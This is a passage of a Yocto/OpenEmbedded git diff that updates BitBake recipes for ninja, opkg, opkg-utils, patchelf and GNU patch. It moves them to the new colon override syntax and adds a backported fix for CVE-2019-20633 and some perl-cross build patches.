LIC_FILES_CHKSUM = "file://LICENSE;md5=90904486f8fbf1861cf42752e1a39efe"
@@ -10,7 +12,7 @@ SRC_URI = "http://www.nasm.us/pub/nasm/releasebuilds/${PV}/nasm-${PV}.tar.bz2 \
SRC_URI[sha256sum] = "3c4b8339e5ab54b1bcb2316101f8985a5da50a3f9e504d43fa6f35668bee2fd0"
-EXTRA_AUTORECONF_append = " -I autoconf/m4"
+EXTRA_AUTORECONF:append = " -I autoconf/m4"
inherit autotools-brokensep
diff --git a/meta/recipes-devtools/ninja/ninja_1.10.1.bb b/meta/recipes-devtools/ninja/ninja_1.10.1.bb
deleted file mode 100644
index ecb0566f37..0000000000
--- a/meta/recipes-devtools/ninja/ninja_1.10.1.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Ninja is a small build system with a focus on speed."
-HOMEPAGE = "https://ninja-build.org/"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a81586a64ad4e476c791cda7e2f2c52e"
-
-DEPENDS = "re2c-native ninja-native"
-
-SRCREV = "a1f879b29c9aafe6a2bc0ba885701f8f4f19f772"
-
-SRC_URI = "git://github.com/ninja-build/ninja.git;branch=release"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
-
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-
-do_compile_class-native() {
- python3 ./configure.py --bootstrap
-}
-
-do_compile() {
- python3 ./configure.py
- ninja
-}
-
-do_install() {
- install -D -m 0755 ${S}/ninja ${D}${bindir}/ninja
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/ninja/ninja_1.10.2.bb b/meta/recipes-devtools/ninja/ninja_1.10.2.bb
new file mode 100644
index 0000000000..7270321d6e
--- /dev/null
+++ b/meta/recipes-devtools/ninja/ninja_1.10.2.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Ninja is a small build system with a focus on speed."
+HOMEPAGE = "https://ninja-build.org/"
+DESCRIPTION = "Ninja is a small build system with a focus on speed. It differs from other build systems in two major respects: it is designed to have its input files generated by a higher-level build system, and it is designed to run builds as fast as possible."
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a81586a64ad4e476c791cda7e2f2c52e"
+
+DEPENDS = "re2c-native ninja-native"
+
+SRCREV = "e72d1d581c945c158ed68d9bc48911063022a2c6"
+
+SRC_URI = "git://github.com/ninja-build/ninja.git;branch=release;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
+
+S = "${WORKDIR}/git"
+
+do_configure[noexec] = "1"
+
+do_compile:class-native() {
+ python3 ./configure.py --bootstrap
+}
+
+do_compile() {
+ python3 ./configure.py
+ ninja
+}
+
+do_install() {
+ install -D -m 0755 ${S}/ninja ${D}${bindir}/ninja
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb b/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb
deleted file mode 100644
index ce299d6b63..0000000000
--- a/meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-SUMMARY = "Additional utilities for the opkg package manager"
-SUMMARY_update-alternatives-opkg = "Utility for managing the alternatives system"
-SECTION = "base"
-HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://opkg.py;beginline=2;endline=18;md5=ffa11ff3c15eb31c6a7ceaa00cc9f986"
-PROVIDES += "${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'virtual/update-alternatives', '', d)}"
-
-SRC_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/${BPN}/snapshot/${BPN}-${PV}.tar.gz \
- file://0001-update-alternatives-correctly-match-priority.patch \
- "
-UPSTREAM_CHECK_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils/refs/"
-
-SRC_URI[md5sum] = "7bbadb3c381f3ea935b21d3bb8cc4671"
-SRC_URI[sha256sum] = "046517600fb0aed6c4645edefe02281f4fa2f1c02f71596152d93172452c0b01"
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-RDEPENDS_${PN} += "bash"
-
-inherit perlnative
-
-# For native builds we use the host Python
-PYTHONRDEPS = "python3 python3-shell python3-io python3-math python3-crypt python3-logging python3-fcntl python3-pickle python3-compression python3-stringold"
-PYTHONRDEPS_class-native = ""
-
-PACKAGECONFIG = "python update-alternatives"
-PACKAGECONFIG[python] = ",,,${PYTHONRDEPS}"
-PACKAGECONFIG[update-alternatives] = ",,,"
-
-do_install() {
- oe_runmake PREFIX=${prefix} DESTDIR=${D} install
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'true', 'false', d)}; then
- rm -f "${D}${bindir}/update-alternatives"
- fi
-}
-
-do_install_append_class-target() {
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)}; then
- grep -lZ "/usr/bin/env.*python" ${D}${bindir}/* | xargs -0 rm
- fi
-
- if [ -e "${D}${bindir}/update-alternatives" ]; then
- sed -i ${D}${bindir}/update-alternatives -e 's,/usr/bin,${bindir},g; s,/usr/lib,${nonarch_libdir},g'
- fi
-}
-
-# These are empty and will pull python3-dev into images where it wouldn't
-# have been otherwise, so don't generate them.
-PACKAGES_remove = "${PN}-dev ${PN}-staticdev"
-
-PACKAGES =+ "update-alternatives-opkg"
-FILES_update-alternatives-opkg = "${bindir}/update-alternatives"
-RPROVIDES_update-alternatives-opkg = "update-alternatives update-alternatives-cworth"
-RREPLACES_update-alternatives-opkg = "update-alternatives-cworth"
-RCONFLICTS_update-alternatives-opkg = "update-alternatives-cworth"
-
-pkg_postrm_update-alternatives-opkg() {
- rm -rf $D${nonarch_libdir}/opkg/alternatives
- rmdir $D${nonarch_libdir}/opkg || true
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-CLEANBROKEN = "1"
diff --git a/meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb b/meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb
new file mode 100644
index 0000000000..21678a27b2
--- /dev/null
+++ b/meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb
@@ -0,0 +1,65 @@
+SUMMARY = "Additional utilities for the opkg package manager"
+SUMMARY:update-alternatives-opkg = "Utility for managing the alternatives system"
+SECTION = "base"
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://opkg.py;beginline=2;endline=18;md5=ffa11ff3c15eb31c6a7ceaa00cc9f986"
+PROVIDES += "${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'virtual/update-alternatives', '', d)}"
+
+SRC_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/${BPN}/snapshot/${BPN}-${PV}.tar.gz \
+ file://0001-update-alternatives-correctly-match-priority.patch \
+ "
+UPSTREAM_CHECK_URI = "http://git.yoctoproject.org/cgit/cgit.cgi/opkg-utils/refs/"
+
+SRC_URI[sha256sum] = "55733c0f8ffde2bb4f9593cfd66a1f68e6a2f814e8e62f6fd78472911c818c32"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+RDEPENDS:${PN} += "bash"
+
+inherit perlnative
+
+# For native builds we use the host Python
+PYTHONRDEPS = "python3 python3-shell python3-io python3-math python3-crypt python3-logging python3-fcntl python3-pickle python3-compression python3-stringold"
+PYTHONRDEPS:class-native = ""
+
+PACKAGECONFIG = "python update-alternatives"
+PACKAGECONFIG[python] = ",,,${PYTHONRDEPS}"
+PACKAGECONFIG[update-alternatives] = ",,,"
+
+do_install() {
+ oe_runmake PREFIX=${prefix} DESTDIR=${D} install
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'update-alternatives', 'true', 'false', d)}; then
+ rm -f "${D}${bindir}/update-alternatives"
+ fi
+}
+
+do_install:append:class-target() {
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)}; then
+ grep -lZ "/usr/bin/env.*python" ${D}${bindir}/* | xargs -0 rm
+ fi
+
+ if [ -e "${D}${bindir}/update-alternatives" ]; then
+ sed -i ${D}${bindir}/update-alternatives -e 's,/usr/bin,${bindir},g; s,/usr/lib,${nonarch_libdir},g'
+ fi
+}
+
+# These are empty and will pull python3-dev into images where it wouldn't
+# have been otherwise, so don't generate them.
+PACKAGES:remove = "${PN}-dev ${PN}-staticdev"
+
+PACKAGES =+ "update-alternatives-opkg"
+FILES:update-alternatives-opkg = "${bindir}/update-alternatives"
+RPROVIDES:update-alternatives-opkg = "update-alternatives update-alternatives-cworth"
+RREPLACES:update-alternatives-opkg = "update-alternatives-cworth"
+RCONFLICTS:update-alternatives-opkg = "update-alternatives-cworth"
+
+pkg_postrm:update-alternatives-opkg() {
+ rm -rf $D${nonarch_libdir}/opkg/alternatives
+ rmdir $D${nonarch_libdir}/opkg || true
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+CLEANBROKEN = "1"
diff --git a/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb b/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
index 0c2dbc9e32..dc17de2e8e 100644
--- a/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
+++ b/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
@@ -26,10 +26,10 @@ do_install () {
install -m 0644 ${S}/${sysconfdir}/opkg/* ${D}${sysconfdir}/opkg/
}
-FILES_${PN} = "${sysconfdir}/opkg/ "
+FILES:${PN} = "${sysconfdir}/opkg/ "
-CONFFILES_${PN} += "${sysconfdir}/opkg/arch.conf"
+CONFFILES:${PN} += "${sysconfdir}/opkg/arch.conf"
-RREPLACES_${PN} = "opkg-config-base"
-RCONFLICTS_${PN} = "opkg-config-base"
-RPROVIDES_${PN} = "opkg-config-base"
+RREPLACES:${PN} = "opkg-config-base"
+RCONFLICTS:${PN} = "opkg-config-base"
+RPROVIDES:${PN} = "opkg-config-base"
diff --git a/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb b/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
index 07e2402545..84aeb98068 100644
--- a/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
+++ b/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
# Distro-specific keys can be added to this package in two ways:
#
# 1) In a .bbappend, add .gpg and/or .asc files to SRC_URI and install them to
-# ${D}${datadir}/opkg/keyrings/ in a do_install_append function. These
+# ${D}${datadir}/opkg/keyrings/ in a do_install:append function. These
# files should not be named 'key-$name.gpg' to ensure they don't conflict
# with keys exported as per (2).
#
@@ -30,12 +30,12 @@ do_install () {
done
}
-FILES_${PN} = "${datadir}/opkg/keyrings"
+FILES:${PN} = "${datadir}/opkg/keyrings"
# We need 'opkg-key' to run the postinst script
-RDEPENDS_${PN} = "opkg"
+RDEPENDS:${PN} = "opkg"
-pkg_postinst_ontarget_${PN} () {
+pkg_postinst_ontarget:${PN} () {
if test -x ${bindir}/opkg-key
then
${bindir}/opkg-key populate
diff --git a/meta/recipes-devtools/opkg/opkg_0.4.3.bb b/meta/recipes-devtools/opkg/opkg_0.4.3.bb
deleted file mode 100644
index 46b7aa2523..0000000000
--- a/meta/recipes-devtools/opkg/opkg_0.4.3.bb
+++ /dev/null
@@ -1,74 +0,0 @@
-SUMMARY = "Open Package Manager"
-SUMMARY_libopkg = "Open Package Manager library"
-SECTION = "base"
-HOMEPAGE = "http://code.google.com/p/opkg/"
-BUGTRACKER = "http://code.google.com/p/opkg/issues/list"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://src/opkg.c;beginline=4;endline=18;md5=d6200b0f2b41dee278aa5fad333eecae"
-
-DEPENDS = "libarchive"
-
-PE = "1"
-
-SRC_URI = "http://downloads.yoctoproject.org/releases/${BPN}/${BPN}-${PV}.tar.gz \
- file://opkg.conf \
- file://0001-opkg_conf-create-opkg.lock-in-run-instead-of-var-run.patch \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "86ec5eee9362aca0990994a402e077e9"
-SRC_URI[sha256sum] = "dda452854bc0cd1334f7ba18a66003d1c12a98600c894111b56919b1ea434718"
-
-# This needs to be before ptest inherit, otherwise all ptest files end packaged
-# in libopkg package if OPKGLIBDIR == libdir, because default
-# PTEST_PATH ?= "${libdir}/${BPN}/ptest"
-PACKAGES =+ "libopkg"
-
-inherit autotools pkgconfig ptest
-
-target_localstatedir := "${localstatedir}"
-OPKGLIBDIR ??= "${target_localstatedir}/lib"
-
-PACKAGECONFIG ??= "libsolv"
-
-PACKAGECONFIG[gpg] = "--enable-gpg,--disable-gpg,\
- gnupg gpgme libgpg-error,\
- ${@ "gnupg" if ("native" in d.getVar("PN")) else "gnupg-gpg"}\
- "
-PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl"
-PACKAGECONFIG[ssl-curl] = "--enable-ssl-curl,--disable-ssl-curl,curl openssl"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-PACKAGECONFIG[sha256] = "--enable-sha256,--disable-sha256"
-PACKAGECONFIG[libsolv] = "--with-libsolv,--without-libsolv,libsolv"
-
-EXTRA_OECONF += " --disable-pathfinder"
-EXTRA_OECONF_class-native = "--localstatedir=/${@os.path.relpath('${localstatedir}', '${STAGING_DIR_NATIVE}')} --sysconfdir=/${@os.path.relpath('${sysconfdir}', '${STAGING_DIR_NATIVE}')}"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/opkg
- install -m 0644 ${WORKDIR}/opkg.conf ${D}${sysconfdir}/opkg/opkg.conf
- echo "option lists_dir ${OPKGLIBDIR}/opkg/lists" >>${D}${sysconfdir}/opkg/opkg.conf
-
- # We need to create the lock directory
- install -d ${D}${OPKGLIBDIR}/opkg
-}
-
-do_install_ptest () {
- sed -i -e '/@echo $^/d' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e '/@PYTHONPATH=. $(PYTHON) $^/a\\t@if [ "$$?" != "0" ];then echo "FAIL:"$^;else echo "PASS:"$^;fi' ${D}${PTEST_PATH}/tests/Makefile
-}
-
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_update-alternatives} opkg-arch-config libarchive"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make binutils python3-core python3-compression"
-RREPLACES_${PN} = "opkg-nogpg opkg-collateral"
-RCONFLICTS_${PN} = "opkg-collateral"
-RPROVIDES_${PN} = "opkg-collateral"
-
-FILES_libopkg = "${libdir}/*.so.* ${OPKGLIBDIR}/opkg/"
-
-BBCLASSEXTEND = "native nativesdk"
-
-CONFFILES_${PN} = "${sysconfdir}/opkg/opkg.conf"
diff --git a/meta/recipes-devtools/opkg/opkg_0.5.0.bb b/meta/recipes-devtools/opkg/opkg_0.5.0.bb
new file mode 100644
index 0000000000..f7d8abb806
--- /dev/null
+++ b/meta/recipes-devtools/opkg/opkg_0.5.0.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Open Package Manager"
+SUMMARY:libopkg = "Open Package Manager library"
+SECTION = "base"
+HOMEPAGE = "http://code.google.com/p/opkg/"
+DESCRIPTION = "Opkg is a lightweight package management system based on Ipkg."
+BUGTRACKER = "http://code.google.com/p/opkg/issues/list"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://src/opkg.c;beginline=4;endline=18;md5=d6200b0f2b41dee278aa5fad333eecae"
+
+DEPENDS = "libarchive"
+
+PE = "1"
+
+SRC_URI = "http://downloads.yoctoproject.org/releases/${BPN}/${BPN}-${PV}.tar.gz \
+ file://opkg.conf \
+ file://0001-opkg_conf-create-opkg.lock-in-run-instead-of-var-run.patch \
+ file://run-ptest \
+"
+
+SRC_URI[sha256sum] = "559c3e1b893abaa1dd473ce3a9a5f7dd3f60ceb6cd14caaef76ddf0f7721ad1c"
+
+# This needs to be before ptest inherit, otherwise all ptest files end packaged
+# in libopkg package if OPKGLIBDIR == libdir, because default
+# PTEST_PATH ?= "${libdir}/${BPN}/ptest"
+PACKAGES =+ "libopkg"
+
+inherit autotools pkgconfig ptest
+
+target_localstatedir := "${localstatedir}"
+OPKGLIBDIR ??= "${target_localstatedir}/lib"
+
+PACKAGECONFIG ??= "libsolv"
+
+PACKAGECONFIG[gpg] = "--enable-gpg,--disable-gpg,\
+ gnupg gpgme libgpg-error,\
+ ${@ "gnupg" if ("native" in d.getVar("PN")) else "gnupg-gpg"}\
+ "
+PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl"
+PACKAGECONFIG[ssl-curl] = "--enable-ssl-curl,--disable-ssl-curl,curl openssl"
+PACKAGECONFIG[sha256] = "--enable-sha256,--disable-sha256"
+PACKAGECONFIG[libsolv] = "--with-libsolv,--without-libsolv,libsolv"
+
+EXTRA_OECONF:class-native = "--localstatedir=/${@os.path.relpath('${localstatedir}', '${STAGING_DIR_NATIVE}')} --sysconfdir=/${@os.path.relpath('${sysconfdir}', '${STAGING_DIR_NATIVE}')}"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/opkg
+ install -m 0644 ${WORKDIR}/opkg.conf ${D}${sysconfdir}/opkg/opkg.conf
+ echo "option lists_dir ${OPKGLIBDIR}/opkg/lists" >>${D}${sysconfdir}/opkg/opkg.conf
+
+ # We need to create the lock directory
+ install -d ${D}${OPKGLIBDIR}/opkg
+}
+
+do_install_ptest () {
+ sed -i -e '/@echo $^/d' ${D}${PTEST_PATH}/tests/Makefile
+ sed -i -e '/@PYTHONPATH=. $(PYTHON) $^/a\\t@if [ "$$?" != "0" ];then echo "FAIL:"$^;else echo "PASS:"$^;fi' ${D}${PTEST_PATH}/tests/Makefile
+}
+
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_update-alternatives} opkg-arch-config libarchive"
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make binutils python3-core python3-compression"
+RREPLACES:${PN} = "opkg-nogpg opkg-collateral"
+RCONFLICTS:${PN} = "opkg-collateral"
+RPROVIDES:${PN} = "opkg-collateral"
+
+FILES:libopkg = "${libdir}/*.so.* ${OPKGLIBDIR}/opkg/"
+
+BBCLASSEXTEND = "native nativesdk"
+
+CONFFILES:${PN} = "${sysconfdir}/opkg/opkg.conf"
diff --git a/meta/recipes-devtools/orc/orc_0.4.32.bb b/meta/recipes-devtools/orc/orc_0.4.32.bb
index a55b43b8ef..829255f110 100644
--- a/meta/recipes-devtools/orc/orc_0.4.32.bb
+++ b/meta/recipes-devtools/orc/orc_0.4.32.bb
@@ -1,5 +1,6 @@
SUMMARY = "Optimised Inner Loop Runtime Compiler"
HOMEPAGE = "http://gstreamer.freedesktop.org/modules/orc.html"
+DESCRIPTION = "Optimised Inner Loop Runtime Compiler is a Library and set of tools for compiling and executing SIMD assembly language-like programs that operate on arrays of data."
LICENSE = "BSD-2-Clause & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=1400bd9d09e8af56b9ec982b3d85797e"
@@ -16,14 +17,14 @@ BBCLASSEXTEND = "native nativesdk"
PACKAGES =+ "orc-examples"
PACKAGES_DYNAMIC += "^liborc-.*"
-FILES_orc-examples = "${libdir}/orc/*"
-FILES_${PN} = "${bindir}/*"
+FILES:orc-examples = "${libdir}/orc/*"
+FILES:${PN} = "${bindir}/*"
-python populate_packages_prepend () {
+python populate_packages:prepend () {
libdir = d.expand('${libdir}')
do_split_packages(d, libdir, r'^lib(.*)\.so\.*', 'lib%s', 'ORC %s library', extra_depends='', allow_links=True)
}
-do_compile_prepend_class-native () {
+do_compile:prepend:class-native () {
sed -i -e 's#/tmp#.#g' ${S}/orc/orccodemem.c
}
diff --git a/meta/recipes-devtools/patch/patch.inc b/meta/recipes-devtools/patch/patch.inc
index cbfb8cfcf5..a12d426b2c 100644
--- a/meta/recipes-devtools/patch/patch.inc
+++ b/meta/recipes-devtools/patch/patch.inc
@@ -10,5 +10,5 @@ S = "${WORKDIR}/patch-${PV}"
inherit autotools update-alternatives
-ALTERNATIVE_${PN} = "patch"
+ALTERNATIVE:${PN} = "patch"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch b/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
index 9f8b6db0b9..8059d9fe19 100644
--- a/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
+++ b/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
@@ -11,7 +11,7 @@ that consistently for input files.
with O_CREAT | O_EXCL to avoid following symlinks in that case as well.
CVE: CVE-2019-13636
-Upstream-Status: Backport[https://git.savannah.gnu.org/cgit/patch.git/patch/?id=dce4683cbbe107a95f1f0d45fabc304acfb5d71a]
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/patch.git/patch/?id=dce4683cbbe107a95f1f0d45fabc304acfb5d71a]
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
---
diff --git a/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch b/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch
new file mode 100644
index 0000000000..9b2c07cf1e
--- /dev/null
+++ b/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch
@@ -0,0 +1,31 @@
+From 15b158db3ae11cb835f2eb8d2eb48e09d1a4af48 Mon Sep 17 00:00:00 2001
+From: Andreas Gruenbacher <agruen@gnu.org>
+Date: Mon, 15 Jul 2019 19:10:02 +0200
+Subject: Avoid invalid memory access in context format diffs
+
+* src/pch.c (another_hunk): Avoid invalid memory access in context format
+diffs.
+
+CVE: CVE-2019-20633
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/patch.git/patch/?id=15b158db3ae11cb835f2eb8d2eb48e09d1a4af48]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/pch.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/pch.c b/src/pch.c
+index a500ad9..cb54e03 100644
+--- a/src/pch.c
++++ b/src/pch.c
+@@ -1328,6 +1328,7 @@ another_hunk (enum diff difftype, bool rev)
+ ptrn_prefix_context = context;
+ ptrn_suffix_context = context;
+ if (repl_beginning
++ || p_end <= 0
+ || (p_end
+ != p_ptrn_lines + 1 + (p_Char[p_end - 1] == '\n')))
+ {
+--
+cgit v1.2.1
+
diff --git a/meta/recipes-devtools/patch/patch_2.7.6.bb b/meta/recipes-devtools/patch/patch_2.7.6.bb
index b5897b357a..b4f986e33a 100644
--- a/meta/recipes-devtools/patch/patch_2.7.6.bb
+++ b/meta/recipes-devtools/patch/patch_2.7.6.bb
@@ -10,6 +10,7 @@ SRC_URI += "file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
file://0001-Invoke-ed-directly-instead-of-using-the-shell.patch \
file://0001-Don-t-leak-temporary-file-on-failed-ed-style-patch.patch \
file://0001-Don-t-leak-temporary-file-on-failed-multi-file-ed.patch \
+ file://CVE-2019-20633.patch \
"
SRC_URI[md5sum] = "4c68cee989d83c87b00a3860bcd05600"
@@ -22,6 +23,6 @@ acpaths = "-I ${S}/m4 "
PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'xattr', d)}"
PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PROVIDES_append_class-native = " patch-replacement-native"
+PROVIDES:append:class-native = " patch-replacement-native"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch b/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
index bf721c1af8..8d9a50a697 100644
--- a/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
+++ b/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
@@ -1,4 +1,4 @@
-From 7f1fd10cfebd5ea2f3e1938abe1bd1c4828164a7 Mon Sep 17 00:00:00 2001
+From 682fb48c137b687477008b68863c2a0b73ed47d1 Mon Sep 17 00:00:00 2001
From: Fabio Berton <fabio.berton@ossystems.com.br>
Date: Fri, 9 Sep 2016 16:00:42 -0300
Subject: [PATCH] handle read-only files
@@ -14,13 +14,13 @@ Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
src/patchelf.cc | 16 +++++++++++++++-
1 file changed, 15 insertions(+), 1 deletion(-)
-Index: git/src/patchelf.cc
-===================================================================
---- git.orig/src/patchelf.cc
-+++ git/src/patchelf.cc
-@@ -499,9 +499,19 @@ void ElfFile<ElfFileParamNames>::sortShd
+diff --git a/src/patchelf.cc b/src/patchelf.cc
+index 1aeae88..6b77afe 100644
+--- a/src/patchelf.cc
++++ b/src/patchelf.cc
+@@ -534,9 +534,19 @@ void ElfFile<ElfFileParamNames>::sortShdrs()
- static void writeFile(std::string fileName, FileContents contents)
+ static void writeFile(const std::string & fileName, const FileContents & contents)
{
+ struct stat st;
+ int fd;
@@ -39,10 +39,10 @@ Index: git/src/patchelf.cc
if (fd == -1)
error("open");
-@@ -515,6 +525,10 @@ static void writeFile(std::string fileNa
-
- if (close(fd) != 0)
- error("close");
+@@ -564,6 +574,10 @@ static void writeFile(const std::string & fileName, const FileContents & content
+ if (errno == EINTR)
+ return;
+ error("close");
+
+ if (chmod(fileName.c_str(), st.st_mode) != 0)
+ error("chmod");
@@ -50,3 +50,6 @@ Index: git/src/patchelf.cc
}
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/patchelf/patchelf_0.12.bb b/meta/recipes-devtools/patchelf/patchelf_0.12.bb
deleted file mode 100644
index 43de90877c..0000000000
--- a/meta/recipes-devtools/patchelf/patchelf_0.12.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SRC_URI = "git://github.com/NixOS/patchelf;protocol=https \
- file://handle-read-only-files.patch \
- "
-
-LICENSE = "GPLv3"
-SUMMARY = "Tool to allow editing of RPATH and interpreter fields in ELF binaries"
-
-SRCREV = "8d3a16e97294e3c5521c61b4c8835499c9918264"
-
-S = "${WORKDIR}/git"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-inherit autotools
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/patchelf/patchelf_0.14.3.bb b/meta/recipes-devtools/patchelf/patchelf_0.14.3.bb
new file mode 100644
index 0000000000..5d41c5edfe
--- /dev/null
+++ b/meta/recipes-devtools/patchelf/patchelf_0.14.3.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Tool to allow editing of RPATH and interpreter fields in ELF binaries"
+DESCRIPTION = "PatchELF is a simple utility for modifying existing ELF executables and libraries."
+HOMEPAGE = "https://github.com/NixOS/patchelf"
+
+LICENSE = "GPLv3"
+
+SRC_URI = "git://github.com/NixOS/patchelf;protocol=https;branch=master \
+ file://handle-read-only-files.patch \
+ "
+SRCREV = "bf3f37ec29edcdb3e2a163edaf84aeece39f8c9d"
+
+S = "${WORKDIR}/git"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+inherit autotools
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch b/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch
new file mode 100644
index 0000000000..8c8f3b717c
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch
@@ -0,0 +1,31 @@
+From 24a3e0c48f9ebe473b5f1078663e275c27d0537f Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Fri, 2 Jul 2021 09:08:21 +0000
+Subject: [PATCH] Makefile: check the file if patched or not
+
+Check the file if patched or not to avoid patched more than
+one time.
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index f4a26f5..7bc748e 100644
+--- a/Makefile
++++ b/Makefile
+@@ -61,7 +61,7 @@ miniperlmain$O: $(CROSSPATCHED)
+ # Original versions are not saved anymore; patch generally takes care of this,
+ # and if that fails, reaching for the source tarball is the safest option.
+ $(CROSSPATCHED): %.applied: %.patch
+- patch -p1 -i $< && touch $@
++ test ! -f $@ && (patch -p1 -i $< && touch $@) || echo "$@ exist"
+
+ # ---[ common ]-----------------------------------------------------------------
+
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch b/meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch
new file mode 100644
index 0000000000..744e4e09c3
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch
@@ -0,0 +1,27 @@
+From d22f2bb5afcd278b68999f5ce0362328fc8c7723 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
